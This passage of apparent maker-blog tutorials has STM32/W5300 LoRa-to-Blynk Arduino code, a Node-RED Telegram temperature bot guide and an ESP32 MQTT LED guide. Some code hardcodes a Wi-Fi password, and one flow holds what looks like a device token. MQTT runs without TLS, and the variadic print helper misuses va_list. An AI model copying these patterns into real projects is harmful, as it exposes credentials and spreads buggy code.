GPIO_PIN_8|GPIO_PIN_9|GPIO_PIN_10|GPIO_PIN_14 |GPIO_PIN_15|GPIO_PIN_0|GPIO_PIN_1|GPIO_PIN_4 |GPIO_PIN_5|GPIO_PIN_7; GPIO_InitStruct.Mode = GPIO_MODE_AF_PP; GPIO_InitStruct.Pull = GPIO_NOPULL; GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH; GPIO_InitStruct.Alternate = GPIO_AF12_FSMC; HAL_GPIO_Init(GPIOD, &GPIO_InitStruct); } static void MX_FSMC_Init(void) { FSMC_NORSRAM_TimingTypeDef Timing = {0}; SRAM_HandleTypeDef hsram1; __HAL_RCC_FSMC_CLK_ENABLE(); hsram1.Instance = FSMC_NORSRAM_DEVICE; hsram1.Extended = FSMC_NORSRAM_EXTENDED_DEVICE; /* hsram1.Init */ hsram1.Init.NSBank = FSMC_NORSRAM_BANK1; hsram1.Init.DataAddressMux = FSMC_DATA_ADDRESS_MUX_DISABLE; hsram1.Init.MemoryType = FSMC_MEMORY_TYPE_SRAM; hsram1.Init.MemoryDataWidth = FSMC_NORSRAM_MEM_BUS_WIDTH_16; hsram1.Init.BurstAccessMode = FSMC_BURST_ACCESS_MODE_DISABLE; hsram1.Init.WaitSignalPolarity = FSMC_WAIT_SIGNAL_POLARITY_LOW; hsram1.Init.WrapMode = FSMC_WRAP_MODE_DISABLE; hsram1.Init.WaitSignalActive = FSMC_WAIT_TIMING_BEFORE_WS; hsram1.Init.WriteOperation = FSMC_WRITE_OPERATION_ENABLE; hsram1.Init.WaitSignal = FSMC_WAIT_SIGNAL_DISABLE; hsram1.Init.ExtendedMode = FSMC_EXTENDED_MODE_DISABLE; hsram1.Init.AsynchronousWait = FSMC_ASYNCHRONOUS_WAIT_DISABLE; hsram1.Init.WriteBurst = FSMC_WRITE_BURST_DISABLE; /* Timing */ Timing.AddressSetupTime = 1; Timing.AddressHoldTime = 1; Timing.DataSetupTime = 4; Timing.BusTurnAroundDuration = 0; Timing.CLKDivision = 2; Timing.DataLatency = 2; Timing.AccessMode = FSMC_ACCESS_MODE_A; if (HAL_SRAM_Init(&hsram1, &Timing, NULL) != HAL_OK) { Error_Handler(); } } static int at_send_check_response(char *p_ack, int timeout_ms, char *p_cmd, ...) { int ch = 0; int index = 0; int startMillis = 0; va_list args; memset(recv_buf, 0, sizeof(recv_buf)); va_start(args, p_cmd); Serial5.printf(p_cmd, args); Serial.printf(p_cmd, args); va_end(args); delay(200); startMillis = millis(); if (p_ack == NULL) { return 0; } do { while (Serial5.available() > 0) { ch = Serial5.read(); recv_buf[index++] = ch; Serial.print((char)ch); delay(2); } if (strstr(recv_buf, p_ack) != NULL) { return 1; } } while (millis() - startMillis < timeout_ms); return 0; } //////////////////////////////////////////////////////////////////// static int recv_prase(void) { char ch; int index = 0; memset(recv_buf, 0, sizeof(recv_buf)); while (Serial5.available() > 0) { ch = Serial5.read(); recv_buf[index++] = ch; Serial.print((char)ch); delay(2); } if (index) { char *p_start = NULL; char data[32] = { 0, }; int rssi = 0; int snr = 0; p_start = strstr(recv_buf, "+TEST: RX \"5345454544"); if (p_start) { p_start = strstr(recv_buf, "5345454544"); if (p_start && (1 == sscanf(p_start, "5345454544%s,", data))) { display.clearDisplay(); display.setCursor(0,0); display.print("Transmitter found"); display.display(); data[16] = 0; int data1,data2,data3,data4; char *endptr,*endptr1,*endpt2,*endptr3; char dataarray1[5] = {data[0], data[1],data[2], data[3]}; char dataarray2[5] = {data[4], data[5], data[6], data[7]}; char dataarray3[5] = {data[8], data[9], data[10], data[11]}; char dataarray4[5] = {data[12], data[13],data[14], data[15]}; data1 = strtol(dataarray1, &endptr, 16); data2 = strtol(dataarray2, &endptr1, 16); data3 = strtol(dataarray3, &endptr, 16); data4 = strtol(dataarray4, &endptr1, 16); lcd2.clear(); Serial.print("data1:"); Serial.print(data1); Serial.println(); Serial.print("data2:"); Serial.print(data2); Serial.println(); Serial.print("data3:"); Serial.print(data3); Serial.println(); Serial.print("data received displaying on the wio terminal"); Serial.print("\r\n"); Blynk.virtualWrite(V2,data1); display.setCursor(0, 20); display.print("Temperature:"); display.print(data1); display.print(" C"); humidity = 0.5 * (data1 + 25); Blynk.virtualWrite(V3,humidity); display.setCursor(0, 30); display.print("Humidity:"); display.print(humidity ); display.print("%"); if(data2 <=10) { display.setCursor(0,45); display.print("The device Position had Changed"); lcd.clear(); //Use it to clear the LCD Widget lcd.print(0, 0, "The device Posi"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") lcd.print(0, 1, "tion had Changed"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") } else { display.setCursor(0,45); display.print("The device is in a constant position"); lcd.clear(); //Use it to clear the LCD Widget lcd.print(0, 0, "The device is in"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") lcd.print(0, 1, "constant position"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") } } p_start = strstr(recv_buf, "RSSI:"); if (p_start && (1 == sscanf(p_start, "RSSI:%d,", &rssi))) { String newrssi = String(rssi); Serial.print(rssi); Serial.print("\r\n"); Blynk.virtualWrite(V6,newrssi); display.setCursor(0,10); display.print("RSSI:"); display.print(rssi); display.print(" dB"); display.display(); } p_start = strstr(recv_buf, "SNR:"); if (p_start && (1 == sscanf(p_start, "SNR:%d", &snr))) { Serial.print(snr); Serial.print("\r\n"); } return 1; } } return 0; } ///////////////////////////////////////////////////////////////////////////// static int node_recv(uint32_t timeout_ms) { at_send_check_response("+TEST: RXLRPKT", 1000, "AT+TEST=RXLRPKT\r\n"); int startMillis = millis(); do { if (recv_prase()) { return 1; } } while (millis() - startMillis < timeout_ms); Serial.print("Transmitter Not Found"); Serial.println(""); display.clearDisplay(); display.setCursor(0,0); display.print("Transmitter Not Found"); display.display(); lcd.clear(); lcd2.clear(); //Use it to clear the LCD Widget lcd2.print(0, 0, "Transmitter"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") lcd2.print(0, 1, "Disconnected"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") display.clearDisplay(); return 0; } //////////////////////////// BLYNK_WRITE(V0) { int x = param.asInt(); Serial.println(x); if(x == 1) { digitalWrite(Relay,HIGH); display.clearDisplay(); display.setCursor(0,20); display.print("LED ON"); display.display(); } else { digitalWrite(Relay,LOW); display.clearDisplay(); display.setCursor(0,20); display.print("LED OFF"); display.display(); }} void setup() { MX_FSMC_Init(); HAL_FSMC_MspInit(); Serial3.setRx(PC11); Serial3.setTx(PC10); Serial3.begin(9600); Serial5.begin(9600); pinMode(Relay,OUTPUT); Ethernet.begin(mac, ip, myDns, gateway, subnet); Blynk.begin(BLYNK_AUTH_TOKEN); if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) { Serial.println(F("SSD1306 allocation failed")); for(;;); } display.display(); delay(2000); // Pause for 2 seconds if (at_send_check_response("+AT: OK", 100, "AT\r\n")) { is_exist = true; at_send_check_response("+MODE: TEST", 1000, "AT+MODE=TEST\r\n"); at_send_check_response("+TEST: RFCFG", 1000, "AT+TEST=RFCFG,866,SF12,125,12,15,14,ON,OFF,OFF\r\n"); delay(200); } else { is_exist = false; Serial.print("No Serial5 module found.\r\n"); display.setTextSize(1); // Normal 1:1 pixel scale display.setTextColor(SSD1306_WHITE); // Draw white text display.setCursor(0,0); // Start at top-left corner display.println(F("LoRa Device Not Found")); display.display(); } display.clearDisplay(); display.setTextSize(1); // Normal 1:1 pixel scale display.setTextColor(SSD1306_WHITE); // Draw white text display.setCursor(0,0); // Start at top-left corner display.print("IP:"); display.print(ip); display.display(); delay(1000); display.clearDisplay(); } void loop() { display.clearDisplay(); if (is_exist) { node_recv(2000); } timer.run(); Blynk.run(); } STM32F429 (NUCLEO-F429zi) development board with Wiznet W5300 Incorporating the NUCLEO-F429ZI within an Arduino environment does not necessitate alterations to the Wiznet libraries provided. The procedure chiefly involves the following technical steps: 1. Library Integration: The Wiznet libraries, unaltered, are seamlessly assimilated into the Arduino libraries directory, permitting immediate utilization within the Arduino Integrated Development Environment (IDE). 2. Essential Arduino Libraries: Concurrently, essential Arduino libraries germane to the project's requisites are installed to complement the Wiznet libraries. These supplementary libraries may encompass sensor drivers, OLED display routines, or other components imperative to the application. 3. Board Configuration: Configuration of the Arduino IDE involves the precise specification of the NUCLEO-F429ZI board variant. This necessitates the installation of pertinent board files, typically performed by introducing the board's JSON configuration into the Arduino Board Manager. 4. IDE Setup: Within the Arduino IDE, meticulous attention is afforded to board selection, COM port designation, and other parameters vital for compatibility with the NUCLEO-F429ZI board. 5. Code Development: Arduino sketches, thoughtfully architected, are crafted, employing the functions and capabilities afforded by the Wiznet libraries, unadulterated. These sketches are subsequently uploaded to the NUCLEO-F429ZI board for execution. By meticulously executing these technical maneuvers, a seamless amalgamation of the NUCLEO-F429ZI board into the Arduino environment is achieved, obviating the need for direct alterations to the provided Wiznet libraries. This methodology fosters expedited development and assures steadfast compatibility with the Arduino IDE. Code For using STM32F429 (NUCLEO-F429zi) development board in the project. #define BLYNK_PRINT Serial // Enables Serial Monitor /* Fill in information from Blynk Device Info here */ #define BLYNK_TEMPLATE_ID "xxxxxxxxxxxxxx" #define BLYNK_TEMPLATE_NAME "WIZNET TOE 5300" #define BLYNK_AUTH_TOKEN "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #include <Arduino.h> #include "Ethernet.h" #include "HardwareSerial.h" #include <BlynkSimpleEthernet.h> #include <Wire.h> #include <Adafruit_GFX.h> #include <Adafruit_SSD1306.h> #define SCREEN_WIDTH 128 // OLED display width, in pixels #define SCREEN_HEIGHT 64 // OLED display height, in pixels #define OLED_RESET 4 // Reset pin # (or -1 if sharing Arduino reset pin) Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET); int Relay1= PA5; int humidity; HardwareSerial Serial5(UART5); static char recv_buf[512]; static bool is_exist = false; BlynkTimer timer; WidgetLCD lcd(V4); WidgetLCD lcd2(V5); static int at_send_check_response(char *p_ack, int timeout_ms, char *p_cmd, ...) { int ch = 0; int index = 0; int startMillis = 0; va_list args; memset(recv_buf, 0, sizeof(recv_buf)); va_start(args, p_cmd); Serial5.printf(p_cmd, args); Serial.printf(p_cmd, args); va_end(args); delay(200); startMillis = millis(); if (p_ack == NULL) { return 0; } do { while (Serial5.available() > 0) { ch = Serial5.read(); recv_buf[index++] = ch; Serial.print((char)ch); delay(2); } if (strstr(recv_buf, p_ack) != NULL) { return 1; } } while (millis() - startMillis < timeout_ms); return 0; } //////////////////////////////////////////////////////////////////// static int recv_prase(void) { char ch; int index = 0; memset(recv_buf, 0, sizeof(recv_buf)); while (Serial5.available() > 0) { ch = Serial5.read(); recv_buf[index++] = ch; Serial.print((char)ch); delay(2); } if (index) { char *p_start = NULL; char data[32] = { 0, }; int rssi = 0; int snr = 0; p_start = strstr(recv_buf, "+TEST: RX \"5345454544"); if (p_start) { p_start = strstr(recv_buf, "5345454544"); if (p_start && (1 == sscanf(p_start, "5345454544%s,", data))) { display.clearDisplay(); display.setCursor(0,0); display.print("Transmitter found"); display.display(); data[16] = 0; int data1,data2,data3,data4; char *endptr,*endptr1,*endpt2,*endptr3; char dataarray1[5] = {data[0], data[1],data[2], data[3]}; char dataarray2[5] = {data[4], data[5], data[6], data[7]}; char dataarray3[5] = {data[8], data[9], data[10], data[11]}; char dataarray4[5] = {data[12], data[13],data[14], data[15]}; data1 = strtol(dataarray1, &endptr, 16); data2 = strtol(dataarray2, &endptr1, 16); data3 = strtol(dataarray3, &endptr, 16); data4 = strtol(dataarray4, &endptr1, 16); lcd2.clear(); Serial.print("data1:"); Serial.print(data1); Serial.println(); Serial.print("data2:"); Serial.print(data2); Serial.println(); Serial.print("data3:"); Serial.print(data3); Serial.println(); Serial.print("data received displaying on the wio terminal"); Serial.print("\r\n"); Blynk.virtualWrite(V2,data1); display.setCursor(0, 20); display.print("Temperature:"); display.print(data1); display.print(" C"); humidity = 0.5 * (data1 + 25); Blynk.virtualWrite(V3,humidity); display.setCursor(0, 30); display.print("Humidity:"); display.print(humidity ); display.print("%"); if(data2 <=10) { display.setCursor(0,45); display.print("The device Position had Changed"); lcd.clear(); //Use it to clear the LCD Widget lcd.print(0, 0, "The device Posi"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") lcd.print(0, 1, "tion had Changed"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") } else { display.setCursor(0,45); display.print("The device is in a constant position"); lcd.clear(); //Use it to clear the LCD Widget lcd.print(0, 0, "The device is in"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") lcd.print(0, 1, "constant position"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") } } p_start = strstr(recv_buf, "RSSI:"); if (p_start && (1 == sscanf(p_start, "RSSI:%d,", &rssi))) { String newrssi = String(rssi); Serial.print(rssi); Serial.print("\r\n"); Blynk.virtualWrite(V6,newrssi); display.setCursor(0,10); display.print("RSSI:"); display.print(rssi); display.print(" dB"); display.display(); } p_start = strstr(recv_buf, "SNR:"); if (p_start && (1 == sscanf(p_start, "SNR:%d", &snr))) { Serial.print(snr); Serial.print("\r\n"); } return 1; } } return 0; } ///////////////////////////////////////////////////////////////////////////// static int node_recv(uint32_t timeout_ms) { at_send_check_response("+TEST: RXLRPKT", 1000, "AT+TEST=RXLRPKT\r\n"); int startMillis = millis(); do { if (recv_prase()) { return 1; } } while (millis() - startMillis < timeout_ms); Serial.print("Transmitter Not Found"); Serial.println(""); display.clearDisplay(); display.setCursor(0,0); display.print("Transmitter Not Found"); display.display(); lcd.clear(); lcd2.clear(); //Use it to clear the LCD Widget lcd2.print(0, 0, "Transmitter"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") lcd2.print(0, 1, "Disconnected"); // use: (position X: 0-15, position Y: 0-1, "Message you want to print") display.clearDisplay(); return 0; } //////////////////////////// BLYNK_WRITE(V0) { int x = param.asInt(); Serial.println(x); if(x == 1) { digitalWrite(Relay1,HIGH); display.clearDisplay(); display.setCursor(0,20); display.print("LED ON"); display.display(); } else { digitalWrite(Relay1,LOW); display.clearDisplay(); display.setCursor(0,20); display.print("LED OFF"); display.display(); }} void setup() { Serial3.setRx(PC11); Serial3.setTx(PC10); Serial3.begin(9600); Serial5.begin(9600); pinMode(Relay1,OUTPUT); Blynk.begin(BLYNK_AUTH_TOKEN); if(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) { Serial.println(F("SSD1306 allocation failed")); for(;;); } display.display(); delay(2000); // Pause for 2 seconds if (at_send_check_response("+AT: OK", 100, "AT\r\n")) { is_exist = true; at_send_check_response("+MODE: TEST", 1000, "AT+MODE=TEST\r\n"); at_send_check_response("+TEST: RFCFG", 1000, "AT+TEST=RFCFG,866,SF12,125,12,15,14,ON,OFF,OFF\r\n"); delay(200); } else { is_exist = false; Serial.print("No Serial5 module found.\r\n"); display.setTextSize(1); // Normal 1:1 pixel scale display.setTextColor(SSD1306_WHITE); // Draw white text display.setCursor(0,0); // Start at top-left corner display.println(F("LoRa Device Not Found")); display.display(); } display.clearDisplay(); display.setTextSize(1); // Normal 1:1 pixel scale display.setTextColor(SSD1306_WHITE); // Draw white text display.setCursor(0,0); // Start at top-left corner display.println("Device Initialized"); display.println("sucessfully"); display.display(); delay(1000); display.clearDisplay(); } void loop() { display.clearDisplay(); if (is_exist) { node_recv(2000); } timer.run(); Blynk.run(); } Project Output Pictures Serial Output Images Project Video Conclusion In conclusion, the Wiznet W5300 stands out as an exceptionally straightforward and versatile component for seamless integration into diverse IoT applications, characterized by its robust security capabilities and ultra-low latency performance. W5300 serves as a pivotal enabler for the enhancement of pre-existing projects into IoT-ready solutions, effectively optimizing the Bill of Materials (BOM) cost efficiency. The W5300 empowers developers with a comprehensive set of advanced networking features, including but not limited to: 1. Security Paradigm: The W5300 architecture encompasses an array of advanced security protocols and mechanisms, ensuring data integrity, confidentiality, and authenticity throughout the network communication process. These mechanisms encompass SSL/TLS encryption, secure bootstrapping, and robust firewall configurations, fortifying IoT ecosystems against potential threats. 2. Latency Minimization: W5300 demonstrates a superlative capability for mitigating communication latency. With its streamlined data transmission pathways, optimized protocol stacks, and efficient hardware processing, the module substantially minimizes the time-to-data delivery, thereby accommodating stringent real-time IoT requirements. 3. IoT Augmentation: W5300 serves as a pivotal tool for the augmentation of conventional, non-IoT projects. By seamlessly integrating W5300 into existing setups, developers can elevate these systems into the realm of IoT without incurring exorbitant BOM costs. This transformation encompasses the facilitation of remote monitoring, data acquisition, and IoT-enabled control paradigms. Incorporating W5300 into IoT endeavors extends the capabilities of developers, permitting them to address sophisticated technical challenges and engineer IoT solutions that are both secure and responsive to real-time demands.
-
- seeed studio
- lora
-
(and 2 more)
Tagged with:
-
Node-RED is a powerful tool for creating and connecting IoT applications with a graphical interface. It allows you to drag and drop nodes that can perform various functions, such as reading sensors, sending messages, storing data, and more. One of the nodes that Node-RED supports is the Telegram bot node, which enables you to communicate with your IoT devices using the popular messaging platform Telegram. In this article, I will show you how to use Node-RED and Telegram bot to send temperature data from a DHT11 sensor connected to a Raspberry Pi. You will be able to ask your Telegram bot for the current temperature and receive a reply with the sensor reading. You will also be able to set up a notification system that will alert you when the temperature exceeds a certain threshold. To follow this tutorial, you will need the following components: A Raspberry Pi with Node-RED installed (you can follow this guide to install Node-RED on your Raspberry Pi) A DHT11 temperature and humidity sensor A Telegram account and a Telegram bot token (you can follow this guide to create a Telegram bot and get its token) Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Step 1: Connect the DHT11 sensor to the Raspberry Pi The first step is to connect the DHT11 sensor to the Raspberry Pi using the breadboard and the jumper wires. The DHT11 sensor has four pins: VCC, Data, NC (not connected), and GND. Connect the VCC pin to the 3.3V pin of the Raspberry Pi, the GND pin to the GND pin of the Raspberry Pi, and the Data pin to the GPIO 4 of the Raspberry Pi. Step 2: Install the node-red-contrib-dht-sensor node To read data from the DHT11 sensor, we will use a Node-RED node called node-red-contrib-dht-sensor. To install this node, open a terminal on your Raspberry Pi and run the following command: npm install node-red-contrib-dht-sensor Then restart Node-RED by running: node-red-stop node-red-start Then add the DHT11 node and open the properties then choose your DHT11 pin. Here is the simple flow to get the DHT11 temperature and humidity data. And here are the debug log results. Step 3: Setting up the Telegram Bot Go to Google Play or App Store, download, and install Telegram. In my case, I'm using telegram web. First, search for “botfather” and click the BotFather as shown below. Next, start the BotFather, and use /newbot to create a new bot. Next, name your bot. Then, mention the username. Finally, it will show you the api key. Step 4: Creating a user for Telegram Bot Anyone that knows your bot username can interact with it. To make sure that we ignore messages that are not from our Telegram account (or any authorized users), you can get your Telegram User ID. In your Telegram account, search for “IDBot” Start a conversation with that bot and type /getid. You will get a reply with your user ID. Save that user ID because you’ll need it later in this tutorial. Step 5: Configure the Telegram bot node To communicate with the Telegram bot, we will use a Node-RED node called node-red-contrib-telegrambot. To install this node, open a terminal on your Raspberry Pi and run the following command: npm install node-red-contrib-telegrambot Then restart Node-RED by running: node-red-stop node-red-start Then open your Node-RED editor in your browser (usually http://raspberrypi:1880) and drag a Telegram receiver node and a Telegram sender node from the palette to the workspace. Double-click on the Telegram receiver node and click on the pencil icon next to Bot configuration. Enter your bot name and token that you obtained from BotFather in step 1. Then click on Add and Done. Step 6: Create a flow to request temperature readings To request temperature readings from the DHT11 sensor, we will create a simple flow that consists of three nodes: a Telegram receiver node, a DHT11 sensor node, and a Telegram sender node. In this flow, if you trigger the node, it will send you the temp and humi data to the Telegram bot. Here is the function that transfers the sensor data to the Telegram bot. Here is the complete JSON flow: [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "f2f9819ae972ae60", "type": "rpi-dht22", "z": "eb8f9c0d054be30c", "name": "", "topic": "rpi-dht22", "dht": "11", "pintype": 1, "pin": "7", "x": 640, "y": 240, "wires": [ [ "9113d1cb21f22ab6", "ea63aa67.c972f" ] ] }, { "id": "9113d1cb21f22ab6", "type": "debug", "z": "eb8f9c0d054be30c", "name": "debug 5", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "true", "targetType": "full", "statusVal": "", "statusType": "auto", "x": 800, "y": 200, "wires": [] }, { "id": "ea63aa67.c972f", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": XXXXXXXXXXXXXXX,\n\"type\":\"message\",\n\"content\":\"Temperature : {{payload}}, Humidity : {{humidity}}\"}", "output": "json", "x": 820, "y": 260, "wires": [ [ "9e00d0a7.d5ccf", "600063bd96d765e6" ] ] }, { "id": "9e00d0a7.d5ccf", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 990, "y": 200, "wires": [] }, { "id": "600063bd96d765e6", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 260, "wires": [ [], [] ] }, { "id": "b6d651f1ea520a5a", "type": "inject", "z": "eb8f9c0d054be30c", "name": "", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 420, "y": 240, "wires": [ [ "f2f9819ae972ae60" ] ] }, { "id": "ae1a60539b8e5308", "type": "telegram bot", "botname": "roboerto_bot", "usernames": "", "chatids": "", "baseapiurl": "", "updatemode": "polling", "pollinterval": "300", "usesocks": false, "sockshost": "", "socksprotocol": "socks5", "socksport": "6667", "socksusername": "anonymous", "sockspassword": "", "bothost": "", "botpath": "", "localbotport": "8443", "publicbotport": "8443", "privatekey": "", "certificate": "", "useselfsignedcertificate": false, "sslterminated": false, "verboselogging": false } ] Conclusion In this article, you learned how to use Node-RED and Telegram bot to send temperature data from a DHT11 sensor connected to a Raspberry Pi. You also learned how to request sensor readings and receive alerts using Telegram commands and messages. You can use this project as a starting point for your own IoT applications that involve Node-RED, Telegram bot, and Raspberry Pi. You can also extend this project by adding more sensors, nodes, and functions to create more complex and interactive flows. Have fun!
-
Introduction In this tutorial, you will learn how to use Node-RED, a visual programming tool for the Internet of Things (IoT), to control an LED on an ESP32 board with a Raspberry Pi as the MQTT broker. MQTT is a lightweight and simple messaging protocol that allows devices to communicate with each other over a network. You will need the following components for this project: ESP32 development board USB cable to connect the ESP32 to your computer Raspberry Pi with Node-RED Computer with Arduino IDE and PubSubClient library installed Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step 1: Create a Device on Qubitro The first step is to create a device on the Qubitro platform. A device represents your physical device (Raspberry Pi) on the cloud. You need to create a device to obtain the MQTT credentials and topics for your Raspberry Pi. To create a device on Qubitro, follow these steps: 1. Log in to your Qubitro account and create a new project 2. Then go to the Devices page, select MQTT as the communication protocol, and click Next. 3. Enter all the details. 4. Copy the Device ID, Device Token, Hostname, Port, Publish Topic, and Subscribe Topic. You will need these values later in the code. Click Finish. You have successfully created a device on Qubitro. You can see your device on the Devices page. Step 2: Flash ESP32 with Arduino IDE The ESP32 is a powerful and versatile microcontroller that can run Arduino code. You will use the Arduino IDE to program the ESP32 and make it communicate with the MQTT broker using the PubSubClient library. To install the ESP32 board in Arduino IDE, you can follow the instructions in this tutorial or use the steps below: Open the preferences window from the Arduino IDE: File > Preferences. Go to the “Additional Board Manager URLs” field and enter the following URL: https://dl.espressif.com/dl/package_esp32_index.json. Open Boards Manager (Tools > Board > Boards Manager), search for ESP32, and click the install button for the “ESP32 by Espressif Systems”. Select your ESP32 board from Tools > Board menu after installation. Open the library manager from Sketch > Include Library > Manage Libraries. Search for PubSubClient and click the install button for the “PubSubClient by Nick O’Leary”. Restart your Arduino IDE after installation. Step 3: Connect LED to ESP32 The LED is a simple device that emits light when current flows through it. You will connect the LED to one of the GPIO pins of the ESP32 and control its state (on or off) with MQTT messages. In my case I'm going to use the onboard LED in the ESP32 Dev board. Step 4: Write Code for ESP32 The code for the ESP32 will do the following tasks: Connect to your Wi-Fi network Connect to the Qubitro MQTT broker on Raspberry Pi Receive messages from “output” and turn on or off the LED accordingly You can copy and paste the code below into your Arduino IDE. Make sure to replace <your_ssid>, <your_password>, <your_Qubtro_Credientials> with your own values. #include <WiFi.h> #define DEBUG_SW 1 #include <PubSubClient.h> //Relays for switching appliances #define Relay1 2 int switch_ON_Flag1_previous_I = 0; // Update these with values suitable for your network. const char* ssid = "ELDRADO"; const char* password = "amazon123"; const char* mqtt_server = "broker.qubitro.com"; // Local IP address of Raspberry Pi const char* username = ""; const char* pass = ""; // Subscribed Topics #define sub1 "output" WiFiClient espClient; PubSubClient client(espClient); unsigned long lastMsg = 0; #define MSG_BUFFER_SIZE (50) char msg[MSG_BUFFER_SIZE]; int value = 0; // Connecting to WiFi Router void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } randomSeed(micros()); Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* payload, unsigned int length) { Serial.print("Message arrived ["); Serial.print(topic); Serial.print("] "); if (strstr(topic, sub1)) { for (int i = 0; i < length; i++) { Serial.print((char)payload[i]); } Serial.println(); // Switch on the LED if an 1 was received as first character if ((char)payload[0] == 'f') { digitalWrite(Relay1, LOW); // Turn the LED on (Note that LOW is the voltage level // but actually the LED is on; this is because // it is active low on the ESP-01) } else { digitalWrite(Relay1, HIGH); // Turn the LED off by making the voltage HIGH } } else { Serial.println("unsubscribed topic"); } } // Connecting to MQTT broker void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Create a random client ID String clientId = "ESP8266Client-"; clientId += String(random(0xffff), HEX); // Attempt to connect if (client.connect(clientId.c_str() , username, pass)) { Serial.println("connected"); // Once connected, publish an announcement... client.publish("outTopic", "hello world"); // ... and resubscribe client.subscribe(sub1); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void setup() { pinMode(Relay1, OUTPUT); Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void loop() { if (!client.connected()) { reconnect(); } client. Loop(); } After writing the code, upload it to your ESP32 board by selecting the right board and port from the Tools menu and clicking the upload button. Step 5: Create Node-RED Flow The Node-RED flow will do the following tasks: Connect to the MQTT broker on Raspberry Pi Subscribe to a topic named “output” Publish messages “true” or “false” to a topic named “output” Create a dashboard with a button and a text node You can create the Node-RED flow by dragging and dropping nodes from the palette and connecting them with wires. You can also import the flow from this link or use the JSON code below: [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "4ce6cd876fd5441f", "type": "mqtt out", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "", "retain": "", "respTopic": "", "contentType": "", "userProps": "", "correl": "", "expiry": "", "broker": "6d40b7b21c734b53", "x": 870, "y": 240, "wires": [] }, { "id": "974a7a8bb6db9bf9", "type": "mqtt in", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "2", "datatype": "auto-detect", "broker": "6d40b7b21c734b53", "nl": false, "rap": true, "rh": 0, "inputs": 0, "x": 670, "y": 320, "wires": [ [ "d0dc7378c7bfb03b", "f1219a2eeabe825f" ] ] }, { "id": "d0dc7378c7bfb03b", "type": "debug", "z": "eb8f9c0d054be30c", "name": "debug 4", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 880, "y": 320, "wires": [] }, { "id": "6bd227b280e372b7", "type": "ui_switch", "z": "eb8f9c0d054be30c", "name": "", "label": "Light One", "tooltip": "", "group": "cd687a95.00e108", "order": 0, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 680, "y": 240, "wires": [ [ "4ce6cd876fd5441f" ] ] }, { "id": "f1219a2eeabe825f", "type": "ui_text", "z": "eb8f9c0d054be30c", "group": "cd687a95.00e108", "order": 1, "width": "6", "height": "2", "name": "", "label": "Status : ", "format": "{{msg.payload}}", "layout": "row-center", "x": 1060, "y": 320, "wires": [] }, { "id": "6d40b7b21c734b53", "type": "mqtt-broker", "name": "Qubitro Downlink", "broker": "broker.qubitro.com", "port": "1883", "clientid": "", "autoConnect": true, "usetls": false, "protocolVersion": "4", "keepalive": "60", "cleansession": true, "autoUnsubscribe": true, "birthTopic": "r43MsJYzcVwZtUXVfZo6XD0Ym7CRegewPQXMt$ho", "birthQos": 